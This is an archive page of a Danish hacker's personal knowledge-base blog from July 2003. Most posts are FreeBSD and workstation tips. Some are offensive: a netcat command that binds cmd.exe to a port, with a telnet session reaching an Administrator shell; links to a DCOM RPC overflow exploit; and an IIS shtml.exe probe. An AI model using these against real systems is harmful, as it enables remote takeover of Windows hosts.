Månedsarkiv: juli 2003

Smb mounts in FreeBSD

Add the following to your kernel options NETSMB options SMBFS options NETSMBCRYPTO options LIBMCHAIN options LIBICONV compile,install, boot and mount with this cmd peanut# mount_smbfs -I 192.168.10.122 //mikr@ost/c$ /mnt Password:

Udgivet i FreeBSD, Knowledge Base, Old Base | Skriv en kommentar

Penetrating windows #2 (dcom rpc bof)

Files: Source: http://base.fujang.dk/files/mike/dcom.c (include <error.h> removed) Freebsd binary: http://base.fujang.dk/files/mike/dcom Windows binary: http://base.fujang.dk/files/mike/dcom.exe + cygwin1.dll The windows binary is compilled by padde (www.beastie.dk) modifications has been made to make it compile under cygwin, the source file avail here was not used … Læs resten

Udgivet i Backdoors, Knowledge Base, Old Base, Windows | Skriv en kommentar

Mode switching between layouts

As most danish hackers have discovered, DK keyboard layout really sucks when it comes to programming/codehacking. But running entirely using US keyboard layout doesn’t work either, because you need to write the Danish special characters, æ, ø, and å. There … Læs resten

Udgivet i Knowledge Base, Linux, Old Base, Workstation | Skriv en kommentar

Source audit

IF you have the source code you can check out the following links: http://www.dwheeler.com/flawfinder/ http://www.cigital.com/its4/ http://www.securesoftware.com/download_form_rats.htm http://www.cs.wisc.edu/~bart/fuzz/fuzz.html (MAYBE?) ELSIF YOU ONLY HAVE THE BINARY THEN Checkout the blackhat presintations like: http://www.blackhat.com/html /bh-europe-00/bh-europe-00-speakers.html#HalVar

Udgivet i Knowledge Base, Links, Old Base | Skriv en kommentar

Remove ^M from windoze files

Taken from FreeBSD quotes Need to remove all those ^M characters from a DOS file? Try col -bx < dosfile > newfile

Udgivet i FreeBSD, Knowledge Base, Old Base | Skriv en kommentar

Network Programming in C

An easy guide to network programming in C: http://tinyurl.com/685d /secor

Udgivet i Knowledge Base, Networking, Old Base, Programmering | Skriv en kommentar

IIS Vuln.

http://1.0.0.13/_vti_bin/shtml.exe/postinfo1.html svarer med: “c:\inetpub\wwwroot\postinfo1.html” kan ikke åbnes: Filen eller mappen findes ikke.

Udgivet i Knowledge Base, Old Base, Windows | Skriv en kommentar

Bind shell in windows

nc -L -d -e cmd.exe -p 8080 Will bind a cmd.exe to port 8080 root@camp:~# telnet 1.0.0.13 8080 Trying 1.0.0.13… Connected to 1.0.0.13. Escape character is ‘^]’. Microsoft Windows 2000 [version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\>whoami whoami HONEYPOT\Administrator … Læs resten

Udgivet i Knowledge Base, Networking, Old Base, Windows, Workstation | Skriv en kommentar

NTFS i FreeBSD

Add the following to your kernel: options NTFS Add this to /etc/fstab (ofcourse adjust for your system) /dev/ad3s1 /mnt/boot ntfs ro 0 0 /dev/ad3s2 /mnt/data ntfs ro 0 0 Mount with: mount /mnt/data

Udgivet i FreeBSD, Old Base | Skriv en kommentar

bookmarklets

This only works in IE (sigh). I’m working on a mozilla compatible version… make a .html file with this content and add the bookmarklets to your bookmarks: <a href=”javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt(‘Find funktion:’,”))};if(Q)location.href=’http://dk2.php.net/search.php?lang=en&show=quickref&pattern=’+escape(Q)”>Find PHP funktion</a> <br /> <a href=”javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt(‘Søg efter:’,”))};if(Q)location.href=’http://base.fujang.dk/cgi-bin/index.pl?action=query&query=’+escape(Q)”>Søg på Fujang knowledge … Læs resten

Udgivet i HTML, Old Base, Programmering, Windows | Skriv en kommentar